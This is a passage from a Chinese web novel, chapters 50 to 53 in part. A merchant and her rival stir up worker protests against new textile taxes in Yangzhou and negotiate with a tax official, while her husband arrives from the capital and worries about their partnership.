桑卿彦道:“我这边已经按照约定推行你说提的策略,目前约有十分之一的工人选择离开,其余全部留在纺织厂,选择自行缴纳户税” 宋瑶问道:“工人们的反响如何?” 桑卿彦:“略有抱怨,但更多是庆幸自己能够留下,其它纺织厂是直接将人辞退。” 宋瑶点点头,这些她都已经了解过。 桑卿彦:“你们那边呢?” “差不多情况。”宋瑶琢磨道:“看来我们得略施一点小计。” “你究竟要做什么?”桑卿彦起了好奇心,这也是他今天邀宋瑶来的原因。 宋瑶抬眼看向他,几番接触评估下来,她觉得桑卿彦还是可信的,于是便将打算如实相告,“自然是逼迫他们废除如此苛刻的政策,取消乱七八糟的税收。” 桑卿彦目露疑惑。 宋瑶一笑,“我想要的是百姓对苛政怨声载道。” 桑卿彦立即恍然大悟,“你想工人们进行反抗?” 宋瑶点头,喝了口茶,徐徐道:“如今中小型的纺织厂已经大批量辞退工人,而直接辞退工人,工人便会怨恨工厂,鞭子不打断她们身上,她们便不觉得痛,所以我们给了她们选择,让她们自己缴纳户税。” 桑卿彦接着道:“但是目前工人们的怨气不足以支撑她们反抗。” “对。”宋瑶笑了下,“所以接下来我打算安排一些人去散播一些事实,比如现在工厂虽然没有辞退他们,以后不一定,赋税可能还要提高之类的。” 俗称带节奏。 桑卿彦听完她的计谋,沉默了几秒,接着评价道:“幸亏我们没有与你为敌。”她这么做,不光逼着官员废除对布行征收赋税,甚至还会让负责的官员下不来台,若是真出了反抗这种事情。 宋瑶挑了挑眉,“我就当你是在夸我了。” 桑卿彦放下筷子,思索片刻,好奇道:“那最后该如何收场?朝廷不会放过我们的。” 宋瑶眨了眨眼,“所以接下来我还有一计。” 桑卿彦探身,“何计?” 宋瑶卖了个关子,“天机不可泄露,可保布行安然无恙。” 两人都是聪明人。桑卿彦眼珠子转了转,顺着宋瑶的思路想,似乎是明白了什么,接着又沉默了片刻,再次点评道:“幸亏我们是同行。” 片刻后,桑卿彦又问道:“据我所知,那日云青亲自约见你,想必是给你开了丰厚的条件,为何不直接答应,反而如此大费周章地冒险?” 在别人看来,这个机会可遇不可求,若是答应了,宋氏布行可永保安然。 桑卿彦聪明是聪明,但是对朝堂局势仍不了解。 宋瑶摇了摇头,叹息道:“正是因为身份敏感,才要避嫌。” 桑卿彦顿了下,问道:“是因为你夫郎?” 是因为她怕死。事情牵扯到太多,宋瑶不便多说,于是便默认了。 桑卿彦深深地视线落在她身上,半响,才莫名问了一句,“你夫郎为何不同你前来,看样子你需要在扬州待很久,马上就要年关了,也叫他来感受一下江南的风土人情。” 宋瑶笑道:“他身体不好,不便奔波,日后有机会再带他来。” 桑卿彦移开视线,她提到夫郎的时候,连眼神都软了几分,想必妻夫十分恩爱,家庭和睦,他笑了笑,道:“作为一介草民,我有点好奇,丞相家的公子是什么样子的?是不是大门不出二门不迈,日日养在闺中,弱柳扶风的那种?” 他问的是丞相家的公子,宋瑶只当他作为男子,想了解一下其他男子的生活模式,就像是平民总想了解一下皇室的日常生活。 “不是,哪有你想的这般。”宋瑶眉眼带笑,“他倒是很喜欢出门,只是丞相大人以前总是拘着他,来我们家以后,倒是好了很多,会经常出去走走,平日的话就喜欢读书,文章写得不错,弹琴很厉害,可以说琴棋书画样样精通,很有才情的一个男子。” 桑卿彦满脸震惊,他很少听到一个女子如此赞美男子有才情,当今天下推崇男子无才便是德,而宋瑶的语气却是有些骄傲。 桑卿彦眼中的震惊毫不掩饰,“你不介意的吗?” “为何要介意?”宋瑶笑了笑,似乎觉得很疑惑,随即又道:“若有机会,我带他来扬州,让你们认识一下,你们应该很合拍。” 桑卿彦敛了眸,压下眼中的情绪,垂眸喝了口茶,神色晦暗不明,半响“嗯”了一声。 就像是你发现了一个宝物,却已经被他人据为己有,剩下的只有遗憾。 宋瑶不知他心中所想。 两人愉快地结束了这顿晚餐,达成共识。 过了两三日,扬州城内流言四起,说是官府不仅要提高布行的税收,还要再次对工人进行征税,此事传的沸沸扬扬,人心惶惶。 纺织厂和刺绣养活了扬州城内半数人口,如今政策,别说对布行了,就是让他们普通工人怎么活啊,相当于工钱一扣再扣,还有许多工人已经被辞退,急待就业。 不知是由谁闲聊间提起的,“如果不反抗,这把刀迟早会落到我们头上!” 一时间,不知是由谁组织的纺织厂的大批工人,扛着镰刀锄头,堵在了税务司门口,谩骂声如潮水涌来。 第一天只有一百个工人,被税务司的衙役赶走了。 第二天增加到了五百人,往税务司门口仍烂菜叶和臭鸡蛋,税务司的大门紧闭。 等到了第五天,已经有一千多号工人和商户高举旗帜,在街上游行示威,叫嚣着取消机户税和城门税,抗议的声音震耳欲聋,她们从城南走到城北,城里的衙役都出动了,也拿她们没有办法。 茶楼里坐了很多看客,她们看着街道上游行示威的人,看个热闹。 二楼靠窗的位置。 宋瑶悠哉悠哉地喝着茶,瞧着这盛世如她所愿,不由得扬起嘴角。 坐在他对面的人捕捉到她嘴角的笑容,调侃道:“这下还算满意吗?” 宋瑶矜持道:“尚可。” 她对面的正式桑卿彦,对她反应嗤之以鼻,“满意就是满意,嘴角都压不住了,说什么尚可。” 宋瑶一愣,随即笑开,模棱两可地说了一句,“大概是近朱者赤,近墨者黑吧。” 没有把陆润之的习惯改掉,倒是叫她学会了“尚可”二字。 桑卿彦酸酸道:“又是跟你夫郎有关吧?” 宋瑶默认不讳。 今日宋瑶打着来茶楼喝茶看热闹的主意,特地挑了个视线极佳的位置,没想到来到后却被桑卿彦抢了先,两人来看乐子的人便拼了桌。 商户和工人的反抗已经进行了五天,严重影响了社会治安的运行。 桑卿彦道:“云青马上这两天就会找上门来了吧?” 宋瑶勾起嘴角,看向他,“就在今日,你我就在这里等着,自会有人前来。” 桑卿彦挑眉,“这么有把握?” “你不相信我。”宋瑶来了兴致,“要不要跟我赌一局?” 桑卿彦靠在椅背,好整以暇地看着她,“赌什么?” 宋瑶点了点桌子,“就赌今日 的茶水钱。” “宋老板,腰缠万贯了,别这么抠门。”桑卿彦的手指放在桌子上扣了扣,“这茶,我请了,咱们换个赌法。” 宋瑶从善如流,“桑老板想以什么为赌注?” 桑卿彦想了下,又道:“暂时没想到。” 宋瑶啧啧两声,“你这人不厚道,叫你想你又想不出来。” 桑卿彦:“就赌你我身上最值钱的物品,如何?今日赌,今日毕。” 宋瑶应了,“没问题。” 两人赌约就此成立。 一个时辰后,孙琴匆匆赶到茶楼,找到了宋瑶,面色着急,她道:“少家主,云青大人想要见您。” 孙琴的话刚落,永昌号的下人也匆匆赶来,同样地着急,“公子,云青大人想要立刻见您,甚至派人来接了,马车正在门口等着呢。” 宋瑶摆摆手,“我知道了。”随后朝桑卿彦摊手,笑意盈盈,“身上最值钱的东西?” 孙琴都快急死了,却看到这两主子岿然不动,现在城里出了这么严重的事情,把她们叫过去,肯定是要问责的,这两人跟没事人一样,急死个人了。 桑卿彦愿赌服输,扯下腰间的玉佩,扔了过去,“你赢了。” 宋瑶握住还有些温热的玉佩,小心地问道:“这不是你们桑家的传家宝或者永昌号的重要证物吧,比如什么见玉佩如见人之类的。” 桑卿彦有些无语,“你少看点乱七八糟的小说。” 宋瑶收起玉佩,“那我就放心了。” 两人这才一同前往,约定好一切由宋瑶来谈判,桑卿彦在旁边同意就行- 这厢,陆润之的马车刚一进扬州城,恰好碰到游行示威的工人,逼迫他们不得不停下。 陆润之听着游行示威的工人喊得口号,不由得皱起眉头,于是差女侍前去打听情况。 待游行的队伍走远,女侍方才回来,汇报情况,“是扬州城内的布行跟纺织厂的商人、工人发起的反抗游行,最近由于机户税和城门税,商人和工人都苦不堪言,半数纺织工失业。” 陆润之:“是否有宋氏布行的人?” 女侍卫答:“宋氏布行和永昌布行的人占了多数。” “速速赶去宋家宅子。”陆润之放下窗帘,面色凝重。 然而回到了家中,却被下人告知,宋瑶已经被税务司的人叫去了。 陆润之一颗心都提起来了,面色已经微微发白,来不及歇息,又吩咐车夫赶去税务司找人。 这些日子日夜兼程,青连见他面色不好,于是劝道:“公子,不如歇一歇再去吧,也不急于这一时。” 陆润之少有地疾言厉色,“现在出发!” 青连被吓了一跳,“是、是!” 第50章 宋瑶和桑卿彦一起被叫去了税务司。 比起上次,这次云青的态度好了千百倍,至少见到两人是笑脸相迎的,“宋老板,桑老板,久仰大名,久仰大名。” 伸手不打笑脸人,宋瑶有模有样地作揖,“云大人,好久不见。” 桑卿彦也随着她一起作揖。 云青比了比手势,“宋老板,桑老板,请坐。” 她那双眼睛在桑卿彦身上上下打量了一下,意味深长。 桑卿彦的眼底滑过一丝厌恶,随即恢复如常,随着宋瑶一起坐下,态度也丝毫不见惶恐。 宋瑶落座,面上挂着营业假笑,丝毫看不出不久前与云青闹得不欢而散,“今日云大人叫草民前来,是有什么重要的事情吗?” “的确是有要事相商。”云青叹了一口气,看了一眼宋瑶,视线又回到宋瑶身上,桑卿彦不怎么说话,想必是以宋瑶的想法为主了,她道:“现在扬州城的情况你们也看到了,那些被你们辞退的工人怨声载道,她们也在你们的纺织厂中干了这么多年,尽心尽力,你们忍心把她们辞退吗?” 听到这话,宋瑶差点笑出来,她压了压嘴角,叹息道:“的确是不忍心啊!” 云青见有戏,又道:“既然你们也缺工人,她们也没有谋生的路子,不如再将她们招回来。” “招回来?”宋瑶笑了,“云大人,我们哪里有钱把她们招回来啊。” 这就是拒绝了。 云青脸色一黑,“你们宋氏布行和永昌布行富甲天下,怎么没有钱了?” 宋瑶摇摇头,一脸悲痛,跟她打着马虎眼,“云大人不知,其实我们两家布行已经亏损多年,如今又要配合朝廷缴纳各种税收,实在也是没有办法,不得已而为之啊。” 桑卿彦坐在一旁,细细品着云青口中的“你们宋氏布行和永昌布行”,宋瑶说了什么,他也没认真听。 宋瑶这幅态度,肯定是不配合了。云青恨得牙痒痒,转而又打算做做桑卿彦的思想工作,心想着毕竟是男子,心软一些,于是对桑卿彦道:“桑老板,你们永昌布行是扬州城最大的布行,这么做,岂不是寒了百姓的心吗?” 桑卿彦根本没在听她在说什么,对于懒得理的人,他向来不喜欢听她说什么,只是挂了一只耳朵,捕捉到自己的名字时,掀了掀眼皮,高深莫测地“嗯”了一声,便没了下文。 云青见状,觉得又有戏,接着劝道:“所以,不如把那些工人全都招回去,也好帮助朝廷,解决燃眉之急,这也算你们功劳一件,到时候我向圣上禀明情况,定会得到圣上嘉奖。” 桑卿彦直言道:“我与宋氏布行持相同看法。” 云青:“……” 这两个人疯了吧,怎么一个比一个硬骨头。 宋瑶气定神闲,笃定税务司不敢拿她们怎么样,也没有权利逼迫她们就范,否则不会这般客气,如今这般局面,税务司也不好收场。 云大人急得嘴角都起泡了。 笑死。 云青沉了脸,沉声道:“那你们想怎么样?” 这是可以谈判的时候了。 宋瑶道:“取消针对布行的机户税、城门税,恢复布行购买染料的自由。” 云青:“不可,此策必行。” 宋瑶不疾不徐,笑道:“想必云大人也看到了,扬州城是首个实行如此赋税之策的地方,结果导致了这样的局面,若以后再大面积推行开来,到时候引起的暴乱谁来负责。” 云青沉默,宋瑶道理她也明白,只是如今国库亏空,税务司奉命,想尽办法填充国库,国库一时不充,面临的危险就多一时,即使不针对布商,也要针对其它商业征税,这是无法避免的。 宋瑶:“作为商人,我们除了要养活自己一家子外,还要养活许许多多工人的一家子,正所谓穷则独善其身,达则兼济天下,目前之策也是不得已,希望云大人明白。” 云青沉默了一会儿,退一步道:“只能在一定程度上减免,不能取消,这是最后的退路。” 若是取消,后面将无法推行。 宋瑶适时问道:“大人可是遇到了什么难处,不如说出来,草民帮您一起想想办法?” “朝堂之事,你们懂什么。”云青哼了一声,“最多减免半成赋税,其余不可谈。” 半成,打发叫花子呢。 看来她还没认清现状。 宋瑶起身,“既如此,那请恕草民难以办到。” 桑卿彦同样也作了一揖。 这场谈判以失败告终,但是丝毫看不出宋瑶气馁。 出了税务司,桑卿彦频频看了她好几眼,最终忍不住问道:“这就是你的计策,我没看出来,那个云青的态度可是很强硬,你就不怕最后我们什么都没捞着,一切恢复原状吗?” 宋瑶看他,笑着反问:“你怕吗?” 桑卿彦挑眉,“我有什么怕的。” 宋瑶笃定道:“云青马上还会来找我们的。” 桑卿彦也笑,“那我就静候宋老板佳音了。” “桑爷无须忧心,坐享其成便好。”宋瑶下意识伸出手,“我们 合作愉快。” 桑卿彦看着伸到面前的手,愣住了。 这是何意? 宋瑶反应过来,也愣了一下,随即收回手,挠了挠头,尴尬地笑道:“不好意思,搞错了。” 桑卿彦也没多问她这奇怪的动作,笑了笑,“合作愉快。” “妻主——” 两人正说着,忽然一道熟悉声音从身后传来。 宋瑶惊讶地回头,还以为自己出现了幻听,却没想到看到了那个本该远在京城的人。 他信步走来,面上带笑,整个世界都亮了。 50-60 第51章 陆润之清楚,在这个节骨眼,税务司的人将宋瑶叫过去,定是给她施压,是以他马不停蹄地赶往税务司。 马车停在距离税务司不远的地方,陆润之从马车上下来,理了理微皱的衣襟,便往税务司门口走去,随即他的脚步顿住。 只见,他一路奔波想见到的人从税务司走出来,与身旁的男子有说有笑,两人相处很熟稔的模样。 那男子身形高挑,模样生的也好看,看向她的眼神专注而认真,尤其是那双眼睛,生的极好。 能与宋瑶一起,被叫到税务司,多半是她的同行,这男子浑身气质老练,如果陆润之没猜错的话,男子应该是扬州永昌布行当家的。 一个男子,能光明正大地做到当家的这个位置,掌握这么大的生意,陆润之同样身为男子,知道这里面的艰辛不易。 陆润之一面觉得桑卿彦十分令人敬佩,另一方面又觉得隐隐心慌,好像被宋瑶排出了她的世界之外。 她从不与他商量生意上的事情,却和其他男子并肩作战。 陆润之知道自己这情绪没道理,但却克制不住地去想。 他本想等宋瑶和那男子闲谈结束以后,再上前,可是在看到宋瑶对那男子伸出手后,还是忍不住迈出了脚步。 “妻主——” 陆润之压下心中所有思绪,叫了宋瑶,朝她们走去。 宋瑶惊讶地回头,似乎是没反应过来,随即眼中忍不住浮现淡淡的欢喜,朝他走去,习惯性地拉住他的手,“你怎么来扬州了,什么时候到的,怎么不提前跟我说一声?” 一连串的问题抛给陆润之,宋瑶知道从京城到扬州路途遥远,一路艰辛,连她这个女人都觉得辛苦,更别说她那身娇体弱的夫郎了,这一路过来,她瞧着他都瘦了许多,好不容易才养回来一点肉。 宋瑶瞧着他,不知是该责备他胡来,还是应该心疼他。 陆润之看进她深深的眼里,见她毫不犹豫地走过来,才微微放松,一一回答她的问题,“今日才到,来扬州也是有些事情,听下人说你遇到了点事情,便来找你。” 宋瑶的语气还是带了些责备,“京城到扬州路途艰辛,有什么事不能与我说的。” …… 桑卿彦看到陆润之的时候微怔,他从未见过如此好看的男子,怎么形容的,大概就是戏文里描写的仙子下凡,冰肌玉骨不染尘,回眸莞尔处,兰芷满汀洲,他一出现,灰蒙蒙的世界都亮了。 桑卿彦心道,连他同为男子见到陆润之都觉得欢喜,更别说女人了,怪不得能让宋瑶时时挂心上,若是他家里养了这么一个美人,也是心甘情愿地把世界上最好的东西捧到他面前,逗他开心。 虽有些淡淡的失落,但是桑卿彦很快就看开了,只是这么多年,好不容易有个看上的,却被人捷足先登,只怕也是有缘无分,强求不来,只能做个朋友。 桑卿彦经历了许多事,心性豁达,倒不至于为了这点小事伤心郁闷。 “我与你介绍一下。”宋瑶带着陆润之来到桑卿彦面前,“这是永昌布行的老板,桑卿彦,桑老板。” 陆润之微微颔首。 宋瑶:“桑老板,这边是我的夫郎,陆润之。” 短短几息,桑卿彦已经平复了心情,面上看不出任何异样,他笑着打趣道:“难怪能叫宋瑶时时惦记,陆小郎君这模样,连我看了都心动。” 陆润之嘴角扬起一抹浅浅的微笑,“桑老板谬赞了。” 宋瑶瞧着夫郎眼下的青黑,一想到他刚到扬州,就马不停蹄地来见她,就觉得亏欠,想叫他立刻休息,于是对桑卿彦道:“桑老板,若没有什么事,我与润之就先行离开了,咱们改日再聚。” 当真是见色忘友的家伙,瞧她这猴急的模样。 桑卿彦挥了挥手,便带着下人往自己的马车走去,“改日再聚,带着你的夫郎。” 他上了马车,挑开窗帘,看到宋瑶牵着自己的夫郎,满心满眼都是他,上马车的时候,也是她先将自己的夫郎扶着上去,然后自己再上去,生怕他磕着碰着。 陆润之的眉眼间有些无奈,低头对她说了什么。 宋瑶却摇摇头,神色不容拒绝。 这大概就是妻夫相处的最好模式了吧,她喜欢一个人真的很明显,不介意外人全都看见。 桑卿彦放下帘子,云淡风轻地笑了笑。 马车上。 宋瑶抱着胳膊,坐在陆润之对面,就这这么盯着他,也不说话。 最后是陆润之败下阵来,无奈地笑道:“别这么盯着我了,你想问什么?” 宋瑶点了一下他的脑门,“什么叫我想问什么,你就没有什么想跟我说的吗?” 她大有一副你快如实招来的架势。 陆润之顿了一下,敛了眸,随即抬眼,眼中浮现一抹笑意,嘴角微微扬起,笑容皎若明月,“想来便来了。” 这句话若翻译过来便是,想你了,便来了。 宋瑶一愣。 趁着她愣神的间隙,陆润之勾着她的小拇指,晃了晃,“你别生我气了。” 宋瑶看着眼前人清隽的眉眼,他像只布偶猫一样过来蹭她,她哪里还舍得跟他生气,叹息一声,反握住他的手,警告道:“下次不许再这样。” 她若是真宠一个人,是不会真正与他生气的。 这意思便是不再追究了。 其实宋瑶大致一想,就知道他为什么会来这里,云青是太女的人,如今扬州出了这么大岔子,若这事办不好,怕是要问罪道太女头上,他应当是同太女一起来的。 只是他不说,她也不逼迫他,只等着他与她主动说起。 宋瑶:“你来扬州的事情,家里人知道吗?” 陆润之:“不知。” “你啊。”宋瑶瞪了他一眼,“来的路上可有带侍卫?” 陆润之弯了弯眼睛,“带了,我这不是好好的来了。” 宋瑶叹了一口气,算了,他能来,她也是开心的,很难形容她在看到他出现在税务司门口时候的心情,虽担心心疼,但是惊喜居多。 陆润之捏了捏她的手指,“你的事情怎么样了,税务司可有为难你?” 宋瑶笑了下,“别瞎担心,他们没有为难我。” 陆润之执意问:“发生了什么事?” 宋瑶顿了一下,本不想与他说太多,叫他担心,又害怕他胡思乱想,索性言简意赅地解释,“简单来说即是,税务司针对布行征收附加税,布行大批量辞退工人,工人聚集反抗,税务司坐不住了,要求我们布行重新把工人找回去,今天叫我与桑卿彦就是为了此事。” 陆润之;“你答应他们了吗?” 宋瑶笑,“当然没有。” 陆润之顿了下,“如何说?” 宋瑶:“税务司的人还会再来找我们的,届时我会给他们一个无法拒绝的理由。” 陆润之看向她,“你和桑老板,商量好的?” 宋瑶点点头,笑道:“对,也多亏了他配合。” 陆润之沉默 。 宋瑶宽慰他道:“此事你不必担心,为妻自会解决,倒是你,大老远跑过来,累不累啊?” 他还想问什么,却被她岔开了话题。 陆润之摇头,随即又点头,“有点累。” 宋瑶:“待会儿好好休息一下。” 过了会儿,陆润之又问道:“有没有什么我可以帮助你的?” 宋瑶挑眉,打趣道:“请问陆小公子,怎么帮助我呀?” 陆润之张了张嘴,忽然发现,他好像真的没有立场说这种话。 宋瑶顺了顺他的头发,宽慰他道:“好啦,你别多想,我自己的事情自己解决,丞相大人在朝中本就不容易,我也不想再给你们添麻烦。” 听着她的话,陆润之心里一堵。 什么叫做“你们”。 但是陆润之又知道,宋瑶说的是实话,正因如此,他不知道怎么反驳,只觉得心里堵得难受,像是被她排除在外了一样。 他自己做不到,却这么要求她,他是不是也很过分。 但是他不知道怎么跟她说,若是如实相告,她会不会不接受? 纷乱的思绪扰乱心头,他无所适从。 第52章 回到落脚的地方,已经傍晚时分,暮色四合。 孙琴急得团团转,生怕宋瑶在税务司出了什么事,便早已在大门口等候,远远见到马车驶来,忙迎上去,“少家主辛苦了。” 下人很有眼力见递上木凳,只见少家主先下了马车,眉眼间轻松愉悦,孙琴见到宋瑶这边心情好,便放下心来,正要说话,就见宋瑶朝马车内伸出手。 孙琴动作一顿,马车里还有人? 只见一个男子从马车中出来,孙琴愣住了,那男子模样出众,气质非凡,原本以为少家主已经出落得十分好看了,却没曾想到时间还有这样出尘的人,像仙子一样,她可没听说过扬州城内有这般好看的人啊,若真有,早就传遍了大街小巷。 孙琴脑瓜子一机灵,这位莫不就是少家主的正君? 见两人走过来,孙琴向两人作揖,“见过少家主和少主君。” 宋瑶笑道:“孙姨这是多礼了。” 孙琴心道看来果真是那位少主君了,她得赶紧把送给少家主的两位小侍遣出府,可不能被少主君发现了,到底是新婚燕尔啊,从京城到扬州,这么大老远的路,少主君都追过来了。 小别胜新婚,宋瑶粘着陆润之,似乎有说不完的话,两人分开的时候,她忙于正事,倒也没觉得思念,如今见了面,却总想粘着他。 陆润之见她还向之前那般粘着自己,便放心不少,两人闲谈之见,他心底的纠结不安便被抛之脑后。 接连奔波了一个多月,陆润之没什么胃口,却为了不叫宋瑶担心,还是多吃了几口。 宋瑶:“怎么才吃这么点?” 陆润之笑了笑,“我本来就吃这些。” 宋瑶关怀道:“再吃一点。” 陆润之坚持地摇摇头,“吃不下了。” 宋瑶也没有强迫他,想来他也只是太过疲惫,胃口不好。 吃过晚饭,宋瑶见陆润之已经累极,便带着他去卧室休息。 卧室延续了京城内的风格,弥漫着淡淡地属于她的气息,除此之外,再无其他。 下人去准备沐浴洗漱的用品了。 陆润之乖乖巧巧地被宋瑶牵着,安安静静的,他本就话不多,如今赶到京城,看到宋瑶相安无事,却因桑卿彦而情绪起伏,现在只剩两人相处,一颗心终于落地,脑海中紧绷的弦松开,铺天盖地的疲倦便席卷而来,连双手都懒得抬。 从进入房间时起,宋瑶便察觉到他的情绪放松了下来,那双清澈的眼睛布满了浓浓的疲惫,也不知道他一个从小被养在丞相府,都未曾出过远门的情况下的,怎么一个人从京城来到了扬州城。 太女的事对他有这么重要吗? 宋瑶顺了顺他的头发,“待会儿洗漱完,就休息,明白吗?” 陆润之“嗯”了一声。 很快,下人就伺候着陆润之洗漱完毕,宋瑶就在房间内等着,直到看着他钻进被窝,才坐到旁边,给他掖了掖被子,温声道:“快睡吧。” 陆润之点点头,脑袋已经混混沌沌。 宋瑶笑了笑,起身准备离去,衣角忽然被扯住,她回头。 他睁开眼睛,清澈的眼睛已经有了些红色的血丝,却抓住她的衣角,半张脸埋在被子里,声音闷闷的,带了些委屈,“你去哪里?” 见状,宋瑶心里软了软,又坐了回去,轻声道:“我今日在外奔波,下午又被税务司叫去,公务还未处理,这会儿去书房,你好好睡觉,嗯?” 陆润之垂下眼眸,长长的眼眸盖住了他眼底的思绪,他不说话,只是攥紧了她的袖子。 宋瑶也不说话,她当然知道他想做什么,只是想让他自己说出来。 半响,陆润之才道:“你在房间里处理公务,可不可以?” 宋瑶眼中滑过一丝笑意,“当然可以,我把账本搬过来,你先睡。” 陆润之点点头。 临近年底,宋瑶不仅要应对税务司,还要彻查扬州这边生意的一年来的账本,这几日已经积压很多,不可再拖,而且今天晚上,恐怕有人会坐不住找她,她可得好好等着。 当然,夫郎这么粘她,她也是非常开心的。 叫青连一起,轻手轻脚地将账本放在暖榻的桌子上,宋瑶回头一看,便看到夫郎躺在床上,眼睛一眨不眨地盯着她的动作。 宋瑶走过去,无奈道:“还不睡。” 陆润之弯了弯眼睛,“这会儿睡不着。” 说谎。 明明困的眼皮子上下打架了。 宋瑶也不拆穿他,笑了笑,“睡不着,起来陪我看账本?” 陆润之立刻摇头,“不想看。” 宋瑶温声道:“快睡吧,我就在这里陪着你,直到你睡着,哪里也不去。” 她的声音温和,像春日的暖风,徐徐吹来,令人安心。 陆润之缓缓闭上了眼睛,眼皮动了动,又睁开了,看到她还在。 宋瑶俯下身,凑近他,声音带了点勾人的意味,“这么不舍得睡,是想要一个晚安吻吗?” 陆润之睁开眼睛,与她对视,还没反应过来,一个轻轻地吻便落在了他的额头上,温热的呼吸洒下来,带着她具有攻击性却分外温和的气息,将他包裹。 很安心。 陆润之微微睁大眼睛,心跳加速,耳尖瞬间变红,埋在被子里的半张脸,嘴角微微扬起,尽管很克制,但是笑意还是从眼角倾泻出来,就连最后一丝压在心头的雾霾也散去了。 “睡吧,乖。” 宋瑶眼带笑意,隔着被子,轻轻拍了拍他。 陆润之缓缓睡去,迷迷糊糊睁开眼睛,便往暖榻看去,看到暖黄灯光下那人的身影,又安心地睡了过去。 直到半夜,身边令人安心地气息渐渐散去,陆润之迷迷糊糊睁开眼睛,身边空无一人,那盏灯下的身影也消失不见。 陆润之清醒了一会儿,披上衣服,唤来了青连,“少家主呢?” 宋瑶走的时候,特地跟青连交代了行踪,以免陆润之中途醒来,见不到她而担忧。 “税务司的人亲自来请少家主过去,商量事情,少家主特地与奴交代,让奴告知您。”青连道,对宋瑶的印象又好了几分,在扬州这里,府中没有任何乱七八糟的人,出门还特地交代行踪,是真的把公子放在了心上。 陆润之听完,顿了一下,又问道:“是和永昌布行的桑老板一起去的吗?” 青连如实道:“奴不知。” 陆润之敛了眸,挥挥手,“我知道了。” 青连:“公子,这才二更天,您快休息吧,若您休息不好,少家主又该担心了。” 陆润之“嗯”了一声。 江南的冬天又湿又冷,直到天蒙蒙亮,陆润之也没等到宋瑶。 第53章 陆润之抱着被子坐在床上,理智告诉他,他这么做毫无意义,且宋瑶一直以来都做到了寻常女子做不到的事情,甚至在出门前还考虑到他,特地向青连交代了行踪,府中并无刻意安排的小侍,给了他满满的安全感,他应该安心的。 但是他就是睡不着,就这么坐到了天亮。 房间内的炭火渐渐冷了下去,陆润之放 在外面的手逐渐变凉了,他仔细想了想,或许他不是放心她,本质是对自己没有信心。 他有事瞒着她,不敢告诉她。 宋瑶向来是支持他的,从不让他做不喜欢的事情,甚至给了他书房,会真正赞赏他的文章,甚至为会他指点迷津,会为他的弹琴弹得好而骄傲,从不认为男子无才便是德。 她是喜欢他的,看到他时满心满眼都是欢喜。 但是他比谁都清楚,她是更喜爱他的容貌的,爱屋及乌,才纵容他的一切。 这样的想法最近愈发的强烈,愈发清晰。 陆润之从来不觉得自己的容貌有什么特别之处,只是一副皮囊罢了,近些来却不自觉注重了起来。 她喜欢他,就像喜欢一件漂亮的宝物。 他可以隐隐感觉出来,她极其不想与朝廷之人扯上关系。 在这样的情况下,他不确信,她是否会接受他与朝廷之人有所往来,甚至还是身份敏感的皇太女。 他不敢冒险,若是告诉了她,她会不要不要他了? 与他比起来,桑卿彦才是真正与她志同道合的男子,他们甚至可以一起并肩作战,有商有量。 当她笑着问他可以怎么帮忙的时候,他慌了神。 好像,除了容貌,他对她来说,没有任何吸引力了。 她不喜欢读书,不爱下棋,听琴也是兴起,若是有朝一日,她看腻了他的容貌怎么办,万一出现了比他更好看的男子怎么办? 陆润之一个人坐在床上,思绪开始发散,胡思乱想了很多。 天已蒙蒙亮。 门吱呀一声被推开,外面的冷风灌了进来,陆润之打了个寒颤,思绪被拉回来,他方才意识到,上半身冰冷,手跟冰块似的。 “怎么醒这么早?” 宋瑶刚一进来,就看到他靠在床边,只着了单薄的寝衣,走近了看,发现他脸色苍白,并不像好好休息醒来的模样,也不知这样坐了多久。 陆润之将双手藏进被窝,敛起了思绪,朝宋瑶笑了笑,“睡好了。” 待宋瑶坐在了他身边,他问道了宋瑶身上沾染的气息,是桑卿彦,他不会怀疑她与桑卿彦有什么,只是她与他待了一夜。 宋瑶抚上他的肩膀,冰冷冰冷的,他的胳膊也是,想来这样坐着也不止一会儿了,不知道到底在想什么。 宋瑶第一次有些生气,她将他照顾的很仔细,明明知道自己身体弱,为什么不好好爱护自己的身体呢,她已经跟他说过许多次了。 陆润之敏感地察觉到她的情绪,轻声道:“你生气了?” 宋瑶收回放在他身上的手,眼眸的温度冷了下来,直言道:“对,我有些生气。” 陆润之不解,“为什么?” 宋瑶看他这幅无辜的模样,简直气笑了,他还问为什么,“你觉得为什么?” 陆润之摇摇头。 宋瑶气得牙痒痒,她这人自诩脾气温和,很少与人生气,却是拿他没办法,“陆润之。” 她第一次直呼他的大名,语气有些重。 陆润之抬眸看向她。 宋瑶与他直说:“我生气是因为你不好好照顾自己,这么冷的天气,为什么坐在这里,不好好休息,有什么事情,让你这般折腾自己?” 陆润之敛眸,“对不起。” 宋瑶拿了大氅给他批上,动作有些气,瞪着他,“你最好别给我生病!” 两人一个靠在床头,一个坐在床边,沉默无语。 半响,陆润之轻声道:“我不会生病的,你别生气了。” 宋瑶淡淡地睨了他一眼。 陆润之想起她之前与他说过的话,想起上次的事情,顿了许久,才道:“我睡不着。” 宋瑶转过身来,面对着他,“为什么睡不着?” 陆润之看着她,“你的事情解决了吗?” 宋瑶狐疑道:“就是为这事?” 陆润之点点头。 宋瑶觉得他在骗她,但是多半与此事有关,还是回答道:“尚未解决。” 陆润之看着她。 宋瑶问:“你想知道吗?” 陆润之直言道:“我想知道,你告诉我吧。” “你想知道,我自然会告诉你。”宋瑶看似在说这件事,却意有所指,接着徐徐道:“昨日税务司司长逼迫我与桑卿彦将辞退的工人招回来,我们并未答应,昨晚深更半夜,云青又将我与桑老板叫去,说是太女已经到了扬州。” 她说此处时,陆润之放在被中的手一紧。 宋瑶接着道:“我与桑卿彦周旋了一番,谈判未果。云卿传达的意思是,太女已对宋氏布行和永昌布行施压,勒令两家布行即刻召回被辞退的工人,否则便为抗旨不尊,要处罚我们。” 陆润之蹙起眉头,“太女并无权利这么做。” “对的,我朝律令并没有指明布行不可辞退工人。”宋瑶笑,但已深知朝堂阴暗,“但是你知道有句话叫做民不与官斗。” 陆润之的眉头又紧皱了几分。 宋瑶接着道:“还有一句话叫做欲加之罪何患无辞。” 她平静地说道,面上并无气愤之意,只是平静地陈述事实。 陆润之自然知道这其中的水有多深,这只是最浅显的手段,他没想到,为了讨皇上欢心,司马怀瑾已经做到了如此地步。 机户税、城门税这种制度已经引起百姓不满,引起百姓游行反抗,当务之急便是取消不合理的制度,安稳人心,如此强制商户将工人招回,不是长久之计,治标不治本,势必还会出事,最严重的后果甚至会触及到邦国的经济命脉。 宋瑶最后道:“最后她威胁了我们一番,勒令我们两天之内把辞退的工人全部召回来。” 